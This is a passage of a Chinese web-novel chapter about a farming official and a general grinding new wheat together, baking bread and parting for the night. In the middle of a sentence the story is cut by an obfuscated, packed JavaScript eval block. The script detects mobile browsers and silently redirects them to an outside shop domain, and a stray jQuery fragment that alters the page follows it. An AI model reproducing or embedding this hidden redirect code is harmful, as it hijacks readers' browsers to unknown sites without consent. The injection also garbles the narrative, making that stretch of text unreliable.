新麦晒干之后，陈穗留了一小袋，大约七八斤，挂在粮仓门口的木钩上。文吏路过的时候看了一眼：“农侯，这袋不归仓？”她说：“这一袋留着碾粉尝新。”文吏点了点头没再追问，但他走的时候回头又看了一眼那袋麦子，嘴角是弯着的——大概是在想，农侯和将军又要推磨了。
磨盘是木棍老兵搬出来的。他前一天下午把搁在工具棚角落大半年的石磨擦洗了一遍，上下两扇磨盘之间的沟槽用清水冲了三遍，磨盘上积累的灰尘被冲刷干净后露出了石头本身的浅灰色。他擦完之后拄着木棍退后两步看了看：“能用。比去年还好使。”他检查了磨盘的稳当程度，又给磨棍换了一根新的木柄，才拄着木棍走开了。
第二天陈穗拎着那袋新麦走到空地上的时候，磨盘已经安好了，轴心处加了一层新油，磨棍搭在磨盘边沿，木柄被握过的地方微微发亮——有人提前来过。她蹲下来把麦袋解开，舀了一小碗麦粒倒在磨盘顶部的入料口里，然后站起来握住了磨棍。磨盘推起来的时候比她想象中要轻一些，好像有人提前检查过轴心的润滑程度。她推了两圈之后，从磨盘缝隙里溢出了第一缕新麦的香气——跟晒干时那种干燥的谷物味不同，这是被碾碎之后才有的、带着微温的清甜气息，像把一整片夏天的麦田收拢在石头的缝隙里慢慢压出来。
身后有脚步声走过来。他走到磨盘对面，握住了另一根磨棍：“我来推。”陈穗没有松手，她握着磨棍继续往前推：“一起推。”两人同时发力。磨盘转动的速度比刚才快了将近一倍，石磨碾过麦粒的声音从沉重的闷响变成了均匀的沙沙声，新麦的香气更浓了，从磨盘缝隙里一缕一缕地溢出来，在日光里变成肉眼可见的细碎粉尘。两人围着磨盘绕圈走。她迈一步，他也迈一步；她停一下换手，他也在同一拍停了一下换手。磨盘转了一圈又一圈，面粉从磨盘边缘的缝隙里慢慢落下来，在底下的麻布上积了一层薄薄的白色细粉。日光把两人绕行的影子投在地面上，影子一圈一圈地交叠又分开，像两株被同一阵风推着转圈的草。
磨了大约半个时辰，陈穗停下来看了一眼底下的麻布。面粉已经积了厚厚一层，细白如霜，带着新麦特有的那种温热的光泽。她蹲下去，用手指沾了一点面粉放在舌尖上尝了尝。“甜的。”她说。他也蹲在她旁边，也沾了一点放到嘴里尝了尝：“是甜的。”陈穗抬头看他的时候，看到他嘴角沾了一小撮白面粉，在日光照耀下闪着细小的光泽。她看着他那撮面粉没有忍住笑了一下：“你嘴上沾了面粉。”他抬手想擦，方向偏了，擦到了下颌上，把面粉蹭开了一小片。她伸手帮他把嘴角那撮面粉擦掉了。指尖蹭过他嘴角的时候停了一下，他的呼吸在她手指下方微微停顿了半拍，然后恢复了正常的节律。两人蹲在磨盘旁边距离很近很近，面粉的微尘在日光里浮动，像无数细碎的光点围绕着他们旋转。
她收回手低头继续搓手里的面粉，把沾在掌心的细粉揉进另一只手里，细细地揉着，感受着面粉在指缝间滑过的细密触感。“明年磨更多的。”她低着头说。她听到他蹲在旁边的声音和她自己的呼吸声一起落定在空气里：“每年都磨。”
那天晚上新麦粉做的饼端上了饭桌。饼是陈穗亲手和的，木棍老兵帮烧的火。饼在铁板上烤到两面焦黄的时候麦香味从饭堂门口飘了出去，在营地前的空地上绕了好几圈才散尽。陈穗掰了一块递给他的时候，饼还烫着，冒着细碎的热气从他手里升起来。她自己也掰了一块，低头咬了一口。新麦的香味在嘴里一层层地铺展开来——表皮焦脆的部分带着炭火的微苦，内里柔软的部分带着麦粒本身的清甜，被碾碎之后释放出来的那种温热的香气一直漫到了鼻腔深处。她嚼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920809|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得很慢。他坐她对面，也嚼得很慢，像在吃一样很值得慢慢对待的东西。
她把咬了一口的那块饼翻过来看了看横截面——组织松软，气孔均匀，是新麦才有的那种温润而扎实的质感。她看完了把饼放回碗沿上，抬头的时候发现他正在看她看饼的表情。“好吃吗？”他问。“好吃。”她把碗推到他面前也让他吃，“明年还有，后年也有。”他没有回答，但他低头吃饼的时候嘴角的弧度和平时不太一样，像是有一道很浅很浅的弯。他咽下去之后开口说了一句话：“每年都吃。”然后继续低头吃他手里剩下的半块饼了，没有多说话，但那四个字落进了空气中，像一粒种子落进了湿润的土层里。
陈穗也低头把自己那块饼吃完了。吃完之后她把碗收去洗了，洗完碗站在厨房门口的水槽边上看着自己的手。手指上沾了一点面粉，她用水冲掉了。水从指缝间流过去的时候她想到了今天推磨时两人绕圈走的步调、磨盘转动时均匀的声响、面粉落在麻布上堆积成白色小山的画面。她把手擦干了，转身回帐里，经过他帐门口的时候停了一下——他帐里灯还亮着，从帐帘缝隙里透出来的一线灯光落在她脚边的地面上。她没有叫他，她在那线灯光旁边站了片刻，然后继续走回了自己的帐里。
躺下去的时候她闻到自己头发上还残留着新麦粉的气味，淡淡的，像被太阳晒过的麦秆和碾碎的麦粒混合在一起的那种温润香气。她把手伸进怀里摸了一下那四片竹简，最上面那片刻着饱满麦穗的被她摸得边缘光滑微温，像被反复摩挲过很长时间的样子。她合上眼，把被子拉到下巴，听着帐外远处弱水河的水声在夜幕里均匀地淌过，然后慢慢地、慢慢地沉入了睡眠。那些磨过的面粉会在明天变成更多的饼分给全营的人吃，但她和他一起吃的那一块她已经记住了它的味道，会把它存在心里很久很久。